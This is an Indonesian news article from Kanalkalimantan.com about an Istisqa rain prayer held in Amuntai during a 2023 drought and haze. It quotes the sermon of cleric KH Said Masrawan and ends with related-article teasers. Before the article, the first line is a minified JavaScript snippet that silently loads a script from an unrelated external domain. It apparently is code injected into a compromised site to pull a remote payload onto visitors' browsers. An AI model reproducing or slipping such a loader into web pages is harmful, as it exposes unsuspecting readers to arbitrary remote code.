(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Melihat kondisi kemarau panjang disertai kebakaran dan kabut asap yang melanda di Hulu Sungai Utara (HSU), Pemerintah Kabupaten HSU bersama tokoh agama dan masyarakat menggelar shalat Istisqa (meminta hujan) di lapangan Tenis Empu Jatmika Amuntai, Kamis (7/9/2023) pagi.
Dalam pelaksanaan shalat tersebut, diikuti Sekretaris Daerah (Sekda) HSU Adi Lesmana, Ketua DPRD HSU Almien Ashar Safari,unsur Forkopimda, unsur kepala perangkat daerah, serta tokoh agama.
Baca juga: Harapkan Keselamatan Banua, Salat Istisqa Dilaksanakan di Masjid Al Karomah Martapura
Adapun bertindak sebagai imam, KH Sam’uni dan khatib Ketua MUI Kabupaten HSU KH Said Masrawan.
Dalam khutbah KH Said Masrawan mengajak umat untuk memperbanyak istighfar (minta ampun) agar segala cobaan dan musibah dapat segera berlalu.
“Maka langkah awal yang harus kita lakukan adalah memperbanyak istighfar, bertaubat, memohon ampun kepada Allah SWT, jarena dengan banyak beristighfar, maka Allah menjanjikan kepada kita akan begitu banyak kebaikan dan keberkahan dari istighfar,” terang KH Masrawan.
Baca juga: Ikhtiar saat Kemarau El Nino, Salat Istisqa di Masjid Al Karomah Martapura
Allah yang memang Maha Berkuasa untuk tidak menurunkan hujan sementara waktu, akibatnya sawah ladang kekeringan, sumber-sumber air mulai berkurang, hutan dan lahan terbakar akibat hawa panas hingga mudah terbakar, berakibat kabut asap yang menganggu aktivitas dan kesehatan.
Kondisi itu menjadi musibah, bisa bertujuan untuk menguji manusia yang baik, bisa pula bertujuan untuk memperingati manusia agar tidak terus-menerus lalai, salah dan lupa.
“Dengan memberi ujian dan musibah itu, Allah SWT lalu memberi petunjuk dan pedoman kepada manusia agar selalu mencari solusi dalam menghadapi dan mengatasi segala permasalahan, ujian dan cobaan yang dialami,” ingat KH Masrawan.
Baca juga: Serpihan Kisah Perjuangan Panjang Menuju Terang di Sudut Kota Banjarbaru
Ia berpesan, tiga hal yang wajib dipahami dalam menghadapi dan menyikapi bala,musibah dan ujian yang dihadapi saat ini, ketiga hal tersebut adalah banyak beristighfar, berusaha istiqamah di jalan Allah dan mengubah dan memperbaiki perilaku yang buruk.
“Untuk mencapai ketiga hal tersebut semua wajib berusaha sesuai dengan tugas dan kewenangan kita masing-masing,” ingatnya.
Ulama berdakwah, mengajar agama, membimbing mental spiritual umat, pemerintah menjalankan tugas dengan baik dan penuh tanggung jawab, sedangkan umat dengan kesadarannya mau atau kepada ulama dan pemerintah atau umara.
Baca juga: Kepala BNN: Berkembangnya Sektor Tambang Pengaruhi Penggunaan Narkoba
“Semoga bermanfaat bagi kita semua demi meraih keselamatan, kesejahteraan dan kebahagiaan dunia akhirat,” tutupnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.